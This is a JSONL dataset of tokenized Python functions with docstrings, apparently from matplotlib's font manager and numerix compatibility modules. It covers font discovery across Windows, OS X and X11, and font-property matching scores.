{"signature": "def win32InstalledFonts(directory=None, fontext='<STR_LIT>'):", "body": "import winreg<EOL>if directory is None:<EOL><INDENT>directory = win32FontDirectory()<EOL><DEDENT>fontext = get_fontext_synonyms(fontext)<EOL>key, items = None, {}<EOL>for fontdir in MSFontDirectories:<EOL><INDENT>try:<EOL><INDENT>local = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, fontdir)<EOL><DEDENT>except OSError:<EOL><INDENT>continue<EOL><DEDENT>if not local:<EOL><INDENT>files = []<EOL>for ext in fontext:<EOL><INDENT>files.extend(glob.glob(os.path.join(directory, '<STR_LIT>'+ext)))<EOL><DEDENT>return files<EOL><DEDENT>try:<EOL><INDENT>for j in range(winreg.QueryInfoKey(local)[<NUM_LIT:1>]):<EOL><INDENT>try:<EOL><INDENT>key, direc, any = winreg.EnumValue( local, j)<EOL>if not os.path.dirname(direc):<EOL><INDENT>direc = os.path.join(directory, direc)<EOL><DEDENT>direc = os.path.abspath(direc).lower()<EOL>if os.path.splitext(direc)[<NUM_LIT:1>][<NUM_LIT:1>:] in fontext:<EOL><INDENT>items[direc] = <NUM_LIT:1><EOL><DEDENT><DEDENT>except EnvironmentError:<EOL><INDENT>continue<EOL><DEDENT>except WindowsError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>return list(items.keys())<EOL><DEDENT>finally:<EOL><INDENT>winreg.CloseKey(local)<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Search for fonts in the specified font directory, or use the\nsystem directories if none given.  A list of TrueType font\nfilenames are returned by default, or AFM fonts if *fontext* ==\n'afm'.", "id": "f17243:m2"}
{"signature": "def OSXFontDirectory():", "body": "fontpaths = []<EOL>def add(arg,directory,files):<EOL><INDENT>fontpaths.append(directory)<EOL><DEDENT>for fontdir in OSXFontDirectories:<EOL><INDENT>try:<EOL><INDENT>if os.path.isdir(fontdir):<EOL><INDENT>os.path.walk(fontdir, add, None)<EOL><DEDENT><DEDENT>except (IOError, OSError, TypeError, ValueError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return fontpaths<EOL>", "docstring": "Return the system font directories for OS X.  This is done by\nstarting at the list of hardcoded paths in\n:attr:`OSXFontDirectories` and returning all nested directories\nwithin them.", "id": "f17243:m3"}
{"signature": "def OSXInstalledFonts(directory=None, fontext='<STR_LIT>'):", "body": "if directory is None:<EOL><INDENT>directory = OSXFontDirectory()<EOL><DEDENT>fontext = get_fontext_synonyms(fontext)<EOL>files = []<EOL>for path in directory:<EOL><INDENT>if fontext is None:<EOL><INDENT>files.extend(glob.glob(os.path.join(path,'<STR_LIT:*>')))<EOL><DEDENT>else:<EOL><INDENT>for ext in fontext:<EOL><INDENT>files.extend(glob.glob(os.path.join(path, '<STR_LIT>'+ext)))<EOL>files.extend(glob.glob(os.path.join(path, '<STR_LIT>'+ext.upper())))<EOL><DEDENT><DEDENT><DEDENT>return files<EOL>", "docstring": "Get list of font files on OS X - ignores font suffix by default.", "id": "f17243:m4"}
{"signature": "def x11FontDirectory():", "body": "fontpaths = []<EOL>def add(arg,directory,files):<EOL><INDENT>fontpaths.append(directory)<EOL><DEDENT>for fontdir in X11FontDirectories:<EOL><INDENT>try:<EOL><INDENT>if os.path.isdir(fontdir):<EOL><INDENT>os.path.walk(fontdir, add, None)<EOL><DEDENT><DEDENT>except (IOError, OSError, TypeError, ValueError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return fontpaths<EOL>", "docstring": "Return the system font directories for X11.  This is done by\nstarting at the list of hardcoded paths in\n:attr:`X11FontDirectories` and returning all nested directories\nwithin them.", "id": "f17243:m5"}
{"signature": "def get_fontconfig_fonts(fontext='<STR_LIT>'):", "body": "try:<EOL><INDENT>import subprocess<EOL><DEDENT>except ImportError:<EOL><INDENT>return {}<EOL><DEDENT>fontext = get_fontext_synonyms(fontext)<EOL>fontfiles = {}<EOL>status, output = subprocess.getstatusoutput(\"<STR_LIT>\")<EOL>if status == <NUM_LIT:0>:<EOL><INDENT>for line in output.split('<STR_LIT:\\n>'):<EOL><INDENT>fname = line.split('<STR_LIT::>')[<NUM_LIT:0>]<EOL>if (os.path.splitext(fname)[<NUM_LIT:1>][<NUM_LIT:1>:] in fontext and<EOL>os.path.exists(fname)):<EOL><INDENT>fontfiles[fname] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return fontfiles<EOL>", "docstring": "Grab a list of all the fonts that are being tracked by fontconfig\nby making a system call to ``fc-list``.  This is an easy way to\ngrab all of the fonts the user wants to be made available to\napplications, without needing knowing where all of them reside.", "id": "f17243:m6"}
{"signature": "def findSystemFonts(fontpaths=None, fontext='<STR_LIT>'):", "body": "fontfiles = {}<EOL>fontexts = get_fontext_synonyms(fontext)<EOL>if fontpaths is None:<EOL><INDENT>if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>fontdir = win32FontDirectory()<EOL>fontpaths = [fontdir]<EOL>for f in win32InstalledFonts(fontdir):<EOL><INDENT>base, ext = os.path.splitext(f)<EOL>if len(ext)><NUM_LIT:1> and ext[<NUM_LIT:1>:].lower() in fontexts:<EOL><INDENT>fontfiles[f] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>fontpaths = x11FontDirectory()<EOL>if sys.platform == '<STR_LIT>':<EOL><INDENT>for f in OSXInstalledFonts(fontext=fontext):<EOL><INDENT>fontfiles[f] = <NUM_LIT:1><EOL><DEDENT><DEDENT>for f in get_fontconfig_fonts(fontext):<EOL><INDENT>fontfiles[f] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>elif isinstance(fontpaths, str):<EOL><INDENT>fontpaths = [fontpaths]<EOL><DEDENT>for path in fontpaths:<EOL><INDENT>files = []<EOL>for ext in fontexts:<EOL><INDENT>files.extend(glob.glob(os.path.join(path, '<STR_LIT>'+ext)))<EOL>files.extend(glob.glob(os.path.join(path, '<STR_LIT>'+ext.upper())))<EOL><DEDENT>for fname in files:<EOL><INDENT>fontfiles[os.path.abspath(fname)] = <NUM_LIT:1><EOL><DEDENT><DEDENT>return [fname for fname in list(fontfiles.keys()) if os.path.exists(fname)]<EOL>", "docstring": "Search for fonts in the specified font paths.  If no paths are\ngiven, will use a standard set of system paths, as well as the\nlist of fonts tracked by fontconfig if fontconfig is installed and\navailable.  A list of TrueType fonts are returned by default with\nAFM fonts as an option.", "id": "f17243:m7"}
{"signature": "def weight_as_number(weight):", "body": "if isinstance(weight, str):<EOL><INDENT>try:<EOL><INDENT>weight = weight_dict[weight.lower()]<EOL><DEDENT>except KeyError:<EOL><INDENT>weight = <NUM_LIT><EOL><DEDENT><DEDENT>elif weight in range(<NUM_LIT:100>, <NUM_LIT:1000>, <NUM_LIT:100>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return weight<EOL>", "docstring": "Return the weight property as a numeric value.  String values\nare converted to their corresponding numeric value.", "id": "f17243:m8"}
{"signature": "def ttfFontProperty(font):", "body": "name = font.family_name<EOL>sfnt = font.get_sfnt()<EOL>sfnt2 = sfnt.get((<NUM_LIT:1>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:2>))<EOL>sfnt4 = sfnt.get((<NUM_LIT:1>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:4>))<EOL>if sfnt2:<EOL><INDENT>sfnt2 = sfnt2.lower()<EOL><DEDENT>else:<EOL><INDENT>sfnt2 = '<STR_LIT>'<EOL><DEDENT>if sfnt4:<EOL><INDENT>sfnt4 = sfnt4.lower()<EOL><DEDENT>else:<EOL><INDENT>sfnt4 = '<STR_LIT>'<EOL><DEDENT>if   sfnt4.find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>style = '<STR_LIT>'<EOL><DEDENT>elif sfnt4.find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>style = '<STR_LIT>'<EOL><DEDENT>elif sfnt2.find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>style = '<STR_LIT>'<EOL><DEDENT>elif font.style_flags & ft2font.ITALIC:<EOL><INDENT>style = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>style = '<STR_LIT>'<EOL><DEDENT>if name.lower() in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>variant = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>variant = '<STR_LIT>'<EOL><DEDENT>weight = None<EOL>for w in list(weight_dict.keys()):<EOL><INDENT>if sfnt4.find(w) >= <NUM_LIT:0>:<EOL><INDENT>weight = w<EOL>break<EOL><DEDENT><DEDENT>if not weight:<EOL><INDENT>if font.style_flags & ft2font.BOLD:<EOL><INDENT>weight = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>weight = <NUM_LIT><EOL><DEDENT><DEDENT>weight = weight_as_number(weight)<EOL>if   sfnt4.find('<STR_LIT>') >= <NUM_LIT:0> or sfnt4.find('<STR_LIT>') >= <NUM_LIT:0> orsfnt4.find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>stretch = '<STR_LIT>'<EOL><DEDENT>elif sfnt4.find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>stretch = '<STR_LIT>'<EOL><DEDENT>elif sfnt4.find('<STR_LIT>') >= <NUM_LIT:0> or sfnt4.find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>stretch = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>stretch = '<STR_LIT>'<EOL><DEDENT>if font.scalable:<EOL><INDENT>size = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>size = str(float(font.get_fontsize()))<EOL><DEDENT>size_adjust = None<EOL>return FontEntry(font.fname, name, style, variant, weight, stretch, size)<EOL>", "docstring": "A function for populating the :class:`FontKey` by extracting\ninformation from the TrueType font file.\n\n*font* is a :class:`FT2Font` instance.", "id": "f17243:m9"}
{"signature": "def afmFontProperty(fontpath, font):", "body": "name = font.get_familyname()<EOL>if font.get_angle() != <NUM_LIT:0> or name.lower().find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>style = '<STR_LIT>'<EOL><DEDENT>elif name.lower().find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>style = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>style = '<STR_LIT>'<EOL><DEDENT>if name.lower() in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>variant = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>variant = '<STR_LIT>'<EOL><DEDENT>weight = weight_as_number(font.get_weight().lower())<EOL>stretch = '<STR_LIT>'<EOL>size = '<STR_LIT>'<EOL>size_adjust = None<EOL>return FontEntry(fontpath, name, style, variant, weight, stretch, size)<EOL>", "docstring": "A function for populating a :class:`FontKey` instance by\nextracting information from the AFM font file.\n\n*font* is a class:`AFM` instance.", "id": "f17243:m10"}
{"signature": "def createFontList(fontfiles, fontext='<STR_LIT>'):", "body": "fontlist = []<EOL>seen = {}<EOL>for fpath in fontfiles:<EOL><INDENT>verbose.report('<STR_LIT>' % (fpath), '<STR_LIT>')<EOL>fname = os.path.split(fpath)[<NUM_LIT:1>]<EOL>if fname in seen:  continue<EOL>else: seen[fname] = <NUM_LIT:1><EOL>if fontext == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>fh = open(fpath, '<STR_LIT:r>')<EOL><DEDENT>except:<EOL><INDENT>verbose.report(\"<STR_LIT>\" % fpath)<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>try:<EOL><INDENT>font = afm.AFM(fh)<EOL><DEDENT>finally:<EOL><INDENT>fh.close()<EOL><DEDENT><DEDENT>except RuntimeError:<EOL><INDENT>verbose.report(\"<STR_LIT>\"%fpath)<EOL>continue<EOL><DEDENT>prop = afmFontProperty(fpath, font)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>font = ft2font.FT2Font(str(fpath))<EOL><DEDENT>except RuntimeError:<EOL><INDENT>verbose.report(\"<STR_LIT>\"%fpath)<EOL>continue<EOL><DEDENT>except UnicodeError:<EOL><INDENT>verbose.report(\"<STR_LIT>\")<EOL>continue<EOL><DEDENT>try: prop = ttfFontProperty(font)<EOL>except: continue<EOL><DEDENT>fontlist.append(prop)<EOL><DEDENT>return fontlist<EOL>", "docstring": "A function to create a font lookup list.  The default is to create\na list of TrueType fonts.  An AFM font list can optionally be\ncreated.", "id": "f17243:m11"}
{"signature": "def ttfdict_to_fnames(d):", "body": "fnames = []<EOL>for named in list(d.values()):<EOL><INDENT>for styled in list(named.values()):<EOL><INDENT>for variantd in list(styled.values()):<EOL><INDENT>for weightd in list(variantd.values()):<EOL><INDENT>for stretchd in list(weightd.values()):<EOL><INDENT>for fname in list(stretchd.values()):<EOL><INDENT>fnames.append(fname)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return fnames<EOL>", "docstring": "flatten a ttfdict to all the filenames it contains", "id": "f17243:m12"}
{"signature": "def pickle_dump(data, filename):", "body": "fh = open(filename, '<STR_LIT:w>')<EOL>try:<EOL><INDENT>pickle.dump(data, fh)<EOL><DEDENT>finally:<EOL><INDENT>fh.close()<EOL><DEDENT>", "docstring": "Equivalent to pickle.dump(data, open(filename, 'w'))\nbut closes the file to prevent filehandle leakage.", "id": "f17243:m13"}
{"signature": "def pickle_load(filename):", "body": "fh = open(filename, '<STR_LIT:r>')<EOL>try:<EOL><INDENT>data = pickle.load(fh)<EOL><DEDENT>finally:<EOL><INDENT>fh.close()<EOL><DEDENT>return data<EOL>", "docstring": "Equivalent to pickle.load(open(filename, 'r'))\nbut closes the file to prevent filehandle leakage.", "id": "f17243:m14"}
{"signature": "def is_opentype_cff_font(filename):", "body": "if os.path.splitext(filename)[<NUM_LIT:1>].lower() == '<STR_LIT>':<EOL><INDENT>result = _is_opentype_cff_font_cache.get(filename)<EOL>if result is None:<EOL><INDENT>fd = open(filename, '<STR_LIT:rb>')<EOL>tag = fd.read(<NUM_LIT:4>)<EOL>fd.close()<EOL>result = (tag == '<STR_LIT>')<EOL>_is_opentype_cff_font_cache[filename] = result<EOL><DEDENT>return result<EOL><DEDENT>return False<EOL>", "docstring": "Returns True if the given font is a Postscript Compact Font Format\nFont embedded in an OpenType wrapper.  Used by the PostScript and\nPDF backends that can not subset these fonts.", "id": "f17243:m15"}
{"signature": "def get_family(self):", "body": "if self._family is None:<EOL><INDENT>family = rcParams['<STR_LIT>']<EOL>if is_string_like(family):<EOL><INDENT>return [family]<EOL><DEDENT>return family<EOL><DEDENT>return self._family<EOL>", "docstring": "Return a list of font names that comprise the font family.", "id": "f17243:c1:m4"}
{"signature": "def get_name(self):", "body": "return ft2font.FT2Font(str(findfont(self))).family_name<EOL>", "docstring": "Return the name of the font that best matches the font\nproperties.", "id": "f17243:c1:m5"}
{"signature": "def get_style(self):", "body": "if self._slant is None:<EOL><INDENT>return rcParams['<STR_LIT>']<EOL><DEDENT>return self._slant<EOL>", "docstring": "Return the font style.  Values are: 'normal', 'italic' or\n'oblique'.", "id": "f17243:c1:m6"}
{"signature": "def get_variant(self):", "body": "if self._variant is None:<EOL><INDENT>return rcParams['<STR_LIT>']<EOL><DEDENT>return self._variant<EOL>", "docstring": "Return the font variant.  Values are: 'normal' or\n'small-caps'.", "id": "f17243:c1:m7"}
{"signature": "def get_weight(self):", "body": "if self._weight is None:<EOL><INDENT>return rcParams['<STR_LIT>']<EOL><DEDENT>return self._weight<EOL>", "docstring": "Set the font weight.  Options are: A numeric value in the\nrange 0-1000 or one of 'light', 'normal', 'regular', 'book',\n'medium', 'roman', 'semibold', 'demibold', 'demi', 'bold',\n'heavy', 'extra bold', 'black'", "id": "f17243:c1:m8"}
{"signature": "def get_stretch(self):", "body": "if self._stretch is None:<EOL><INDENT>return rcParams['<STR_LIT>']<EOL><DEDENT>return self._stretch<EOL>", "docstring": "Return the font stretch or width.  Options are: 'ultra-condensed',\n'extra-condensed', 'condensed', 'semi-condensed', 'normal',\n'semi-expanded', 'expanded', 'extra-expanded', 'ultra-expanded'.", "id": "f17243:c1:m9"}
{"signature": "def get_size(self):", "body": "if self._size is None:<EOL><INDENT>return rcParams['<STR_LIT>']<EOL><DEDENT>return self._size<EOL>", "docstring": "Return the font size.", "id": "f17243:c1:m10"}
{"signature": "def get_file(self):", "body": "return self._file<EOL>", "docstring": "Return the filename of the associated font.", "id": "f17243:c1:m12"}
{"signature": "def get_fontconfig_pattern(self):", "body": "return generate_fontconfig_pattern(self)<EOL>", "docstring": "Get a fontconfig pattern suitable for looking up the font as\nspecified with fontconfig's ``fc-match`` utility.\n\nSee the documentation on `fontconfig patterns\n<http://www.fontconfig.org/fontconfig-user.html>`_.\n\nThis support does not require fontconfig to be installed or\nsupport for it to be enabled.  We are merely borrowing its\npattern syntax for use here.", "id": "f17243:c1:m13"}
{"signature": "def set_family(self, family):", "body": "if family is None:<EOL><INDENT>self._family = None<EOL><DEDENT>else:<EOL><INDENT>if is_string_like(family):<EOL><INDENT>family = [family]<EOL><DEDENT>self._family = family<EOL><DEDENT>", "docstring": "Change the font family.  May be either an alias (generic name\nis CSS parlance), such as: 'serif', 'sans-serif', 'cursive',\n'fantasy', or 'monospace', or a real font name.", "id": "f17243:c1:m14"}
{"signature": "def set_style(self, style):", "body": "if style not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', None):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._slant = style<EOL>", "docstring": "Set the font style.  Values are: 'normal', 'italic' or\n'oblique'.", "id": "f17243:c1:m15"}
{"signature": "def set_variant(self, variant):", "body": "if variant not in ('<STR_LIT>', '<STR_LIT>', None):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._variant = variant<EOL>", "docstring": "Set the font variant.  Values are: 'normal' or 'small-caps'.", "id": "f17243:c1:m16"}
{"signature": "def set_weight(self, weight):", "body": "if weight is not None:<EOL><INDENT>try:<EOL><INDENT>weight = int(weight)<EOL>if weight < <NUM_LIT:0> or weight > <NUM_LIT:1000>:<EOL><INDENT>raise ValueError()<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>if weight not in weight_dict:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>self._weight = weight<EOL>", "docstring": "Set the font weight.  May be either a numeric value in the\nrange 0-1000 or one of 'ultralight', 'light', 'normal',\n'regular', 'book', 'medium', 'roman', 'semibold', 'demibold',\n'demi', 'bold', 'heavy', 'extra bold', 'black'", "id": "f17243:c1:m17"}
{"signature": "def set_stretch(self, stretch):", "body": "if stretch is not None:<EOL><INDENT>try:<EOL><INDENT>stretch = int(stretch)<EOL>if stretch < <NUM_LIT:0> or stretch > <NUM_LIT:1000>:<EOL><INDENT>raise ValueError()<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>if stretch not in stretch_dict:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>self._stretch = stretch<EOL>", "docstring": "Set the font stretch or width.  Options are: 'ultra-condensed',\n'extra-condensed', 'condensed', 'semi-condensed', 'normal',\n'semi-expanded', 'expanded', 'extra-expanded' or\n'ultra-expanded', or a numeric value in the range 0-1000.", "id": "f17243:c1:m18"}
{"signature": "def set_size(self, size):", "body": "if size is not None:<EOL><INDENT>try:<EOL><INDENT>size = float(size)<EOL><DEDENT>except ValueError:<EOL><INDENT>if size is not None and size not in font_scalings:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>self._size = size<EOL>", "docstring": "Set the font size.  Either an relative value of 'xx-small',\n'x-small', 'small', 'medium', 'large', 'x-large', 'xx-large'\nor an absolute font size, e.g. 12.", "id": "f17243:c1:m19"}
{"signature": "def set_file(self, file):", "body": "self._file = file<EOL>", "docstring": "Set the filename of the fontfile to use.  In this case, all\nother properties will be ignored.", "id": "f17243:c1:m20"}
{"signature": "def set_fontconfig_pattern(self, pattern):", "body": "for key, val in list(self._parse_fontconfig_pattern(pattern).items()):<EOL><INDENT>if type(val) == list:<EOL><INDENT>getattr(self, \"<STR_LIT>\" + key)(val[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>getattr(self, \"<STR_LIT>\" + key)(val)<EOL><DEDENT><DEDENT>", "docstring": "Set the properties by parsing a fontconfig *pattern*.\n\nSee the documentation on `fontconfig patterns\n<http://www.fontconfig.org/fontconfig-user.html>`_.\n\nThis support does not require fontconfig to be installed or\nsupport for it to be enabled.  We are merely borrowing its\npattern syntax for use here.", "id": "f17243:c1:m21"}
{"signature": "def copy(self):", "body": "return FontProperties(_init = self)<EOL>", "docstring": "Return a deep copy of self", "id": "f17243:c1:m22"}
{"signature": "def get_default_weight(self):", "body": "return self.__default_weight<EOL>", "docstring": "Return the default font weight.", "id": "f17243:c2:m1"}
{"signature": "def get_default_size(self):", "body": "if self.default_size is None:<EOL><INDENT>return rcParams['<STR_LIT>']<EOL><DEDENT>return self.default_size<EOL>", "docstring": "Return the default font size.", "id": "f17243:c2:m2"}
{"signature": "def set_default_weight(self, weight):", "body": "self.__default_weight = weight<EOL>", "docstring": "Set the default font weight.  The initial value is 'normal'.", "id": "f17243:c2:m3"}
{"signature": "def set_default_size(self, size):", "body": "self.default_size = size<EOL>", "docstring": "Set the default font size in points.  The initial value is set\nby ``font.size`` in rc.", "id": "f17243:c2:m4"}
{"signature": "def update_fonts(self, filenames):", "body": "<EOL>raise NotImplementedError<EOL>", "docstring": "Update the font dictionary with new font files.\nCurrently not implemented.", "id": "f17243:c2:m5"}
{"signature": "def score_family(self, families, family2):", "body": "for i, family1 in enumerate(families):<EOL><INDENT>if family1.lower() in font_family_aliases:<EOL><INDENT>if family1 == '<STR_LIT>':<EOL><INDENT>family1 == '<STR_LIT>'<EOL><DEDENT>options = rcParams['<STR_LIT>' + family1]<EOL>if family2 in options:<EOL><INDENT>idx = options.index(family2)<EOL>return <NUM_LIT:0.1> * (float(idx) / len(options))<EOL><DEDENT><DEDENT>elif family1.lower() == family2.lower():<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT><DEDENT>return <NUM_LIT:1.0><EOL>", "docstring": "Returns a match score between the list of font families in\n*families* and the font family name *family2*.\n\nAn exact match anywhere in the list returns 0.0.\n\nA match by generic font name will return 0.1.\n\nNo match will return 1.0.", "id": "f17243:c2:m6"}
{"signature": "def score_style(self, style1, style2):", "body": "if style1 == style2:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>elif style1 in ('<STR_LIT>', '<STR_LIT>') andstyle2 in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return <NUM_LIT:0.1><EOL><DEDENT>return <NUM_LIT:1.0><EOL>", "docstring": "Returns a match score between *style1* and *style2*.\n\nAn exact match returns 0.0.\n\nA match between 'italic' and 'oblique' returns 0.1.\n\nNo match returns 1.0.", "id": "f17243:c2:m7"}
{"signature": "def score_variant(self, variant1, variant2):", "body": "if variant1 == variant2:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>", "docstring": "Returns a match score between *variant1* and *variant2*.\n\nAn exact match returns 0.0, otherwise 1.0.", "id": "f17243:c2:m8"}
{"signature": "def score_stretch(self, stretch1, stretch2):", "body": "try:<EOL><INDENT>stretchval1 = int(stretch1)<EOL><DEDENT>except ValueError:<EOL><INDENT>stretchval1 = stretch_dict.get(stretch1, <NUM_LIT>)<EOL><DEDENT>try:<EOL><INDENT>stretchval2 = int(stretch2)<EOL><DEDENT>except ValueError:<EOL><INDENT>stretchval2 = stretch_dict.get(stretch2, <NUM_LIT>)<EOL><DEDENT>return abs(stretchval1 - stretchval2) / <NUM_LIT><EOL>", "docstring": "Returns a match score between *stretch1* and *stretch2*.\n\nThe result is the absolute value of the difference between the\nCSS numeric values of *stretch1* and *stretch2*, normalized\nbetween 0.0 and 1.0.", "id": "f17243:c2:m9"}
{"signature": "def score_weight(self, weight1, weight2):", "body": "try:<EOL><INDENT>weightval1 = int(weight1)<EOL><DEDENT>except ValueError:<EOL><INDENT>weightval1 = weight_dict.get(weight1, <NUM_LIT>)<EOL><DEDENT>try:<EOL><INDENT>weightval2 = int(weight2)<EOL><DEDENT>except ValueError:<EOL><INDENT>weightval2 = weight_dict.get(weight2, <NUM_LIT>)<EOL><DEDENT>return abs(weightval1 - weightval2) / <NUM_LIT><EOL>", "docstring": "Returns a match score between *weight1* and *weight2*.\n\nThe result is the absolute value of the difference between the\nCSS numeric values of *weight1* and *weight2*, normalized\nbetween 0.0 and 1.0.", "id": "f17243:c2:m10"}
{"signature": "def score_size(self, size1, size2):", "body": "if size2 == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>try:<EOL><INDENT>sizeval1 = float(size1)<EOL><DEDENT>except ValueError:<EOL><INDENT>sizeval1 = self.default_size * font_scalings(size1)<EOL><DEDENT>try:<EOL><INDENT>sizeval2 = float(size2)<EOL><DEDENT>except ValueError:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>return abs(sizeval1 - sizeval2) / <NUM_LIT><EOL>", "docstring": "Returns a match score between *size1* and *size2*.\n\nIf *size2* (the size specified in the font file) is 'scalable', this\nfunction always returns 0.0, since any font size can be generated.\n\nOtherwise, the result is the absolute distance between *size1* and\n*size2*, normalized so that the usual range of font sizes (6pt -\n72pt) will lie between 0.0 and 1.0.", "id": "f17243:c2:m11"}
{"signature": "def findfont(self, prop, fontext='<STR_LIT>'):", "body": "debug = False<EOL>if prop is None:<EOL><INDENT>return self.defaultFont<EOL><DEDENT>if is_string_like(prop):<EOL><INDENT>prop = FontProperties(prop)<EOL><DEDENT>fname = prop.get_file()<EOL>if fname is not None:<EOL><INDENT>verbose.report('<STR_LIT>'%fname, '<STR_LIT>')<EOL>return fname<EOL><DEDENT>if fontext == '<STR_LIT>':<EOL><INDENT>font_cache = self.afm_lookup_cache<EOL>fontlist = self.afmlist<EOL><DEDENT>else:<EOL><INDENT>font_cache = self.ttf_lookup_cache<EOL>fontlist = self.ttflist<EOL><DEDENT>cached = font_cache.get(hash(prop))<EOL>if cached:<EOL><INDENT>return cached<EOL><DEDENT>best_score = <NUM_LIT><EOL>best_font = None<EOL>for font in fontlist:<EOL><INDENT>score =self.score_family(prop.get_family(), font.name) * <NUM_LIT> +self.score_style(prop.get_style(), font.style) +self.score_variant(prop.get_variant(), font.variant) +self.score_weight(prop.get_weight(), font.weight) +self.score_stretch(prop.get_stretch(), font.stretch) +self.score_size(prop.get_size(), font.size)<EOL>if score < best_score:<EOL><INDENT>best_score = score<EOL>best_font = font<EOL><DEDENT>if score == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if best_font is None or best_score >= <NUM_LIT>:<EOL><INDENT>verbose.report('<STR_LIT>' %<EOL>(prop, self.defaultFont))<EOL>result = self.defaultFont<EOL><DEDENT>else:<EOL><INDENT>verbose.report('<STR_LIT>' %<EOL>(prop, best_font.name, best_font.fname, best_score))<EOL>result = best_font.fname<EOL><DEDENT>font_cache[hash(prop)] = result<EOL>return result<EOL>", "docstring": "Search the font list for the font that most closely matches\nthe :class:`FontProperties` *prop*.\n\n:meth:`findfont` performs a nearest neighbor search.  Each\nfont is given a similarity score to the target font\nproperties.  The first font with the highest score is\nreturned.  If no matches below a certain threshold are found,\nthe default font (usually Vera Sans) is returned.\n\nThe result is cached, so subsequent lookups don't have to\nperform the O(n) nearest neighbor search.\n\nSee the `W3C Cascading Style Sheet, Level 1\n<http://www.w3.org/TR/1998/REC-CSS2-19980512/>`_ documentation\nfor a description of the font finding algorithm.", "id": "f17243:c2:m12"}
{"signature": "def isnan(a):", "body": "return reshape(array([_isnan(i) for i in ravel(a)],'<STR_LIT:b>'), shape(a))<EOL>", "docstring": "y = isnan(x) returns True where x is Not-A-Number", "id": "f17245:m0"}
{"signature": "def all(a, axis=None):", "body": "if axis is None:<EOL><INDENT>return alltrue(ravel(a))<EOL><DEDENT>else:<EOL><INDENT>return alltrue(a, axis)<EOL><DEDENT>", "docstring": "Numpy-compatible version of all()", "id": "f17245:m1"}
{"signature": "def _import_fail_message(module, version):", "body": "_dict = { \"<STR_LIT>\" : which[<NUM_LIT:0>],<EOL>\"<STR_LIT>\" : module,<EOL>\"<STR_LIT>\" : version + module<EOL>}<EOL>print(\"\"\"<STR_LIT>\"\"\" % _dict)<EOL>", "docstring": "Prints a message when the array package specific version of an extension\n    fails to import correctly.", "id": "f17251:m0"}
{"signature": "def all(a, axis=None):", "body": "if axis is None:<EOL><INDENT>return _all(a)<EOL><DEDENT>return alltrue(a, axis)<EOL>", "docstring": "Numpy-compatible version of all()", "id": "f17253:m0"}
{"signature": "def Matrix(data, typecode=None, copy=<NUM_LIT:1>, savespace=<NUM_LIT:0>):", "body": "if isinstance(data, type(\"<STR_LIT>\")):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>a = fromlist(data, type=typecode)<EOL>if a.rank == <NUM_LIT:0>:<EOL><INDENT>a.shape = (<NUM_LIT:1>,<NUM_LIT:1>)<EOL><DEDENT>elif a.rank == <NUM_LIT:1>:<EOL><INDENT>a.shape = (<NUM_LIT:1>,) + a.shape<EOL><DEDENT>a.__class__ = _Matrix<EOL>return a<EOL>", "docstring": "Matrix constructs new matrices from 2D nested lists of numbers", "id": "f17253:m1"}
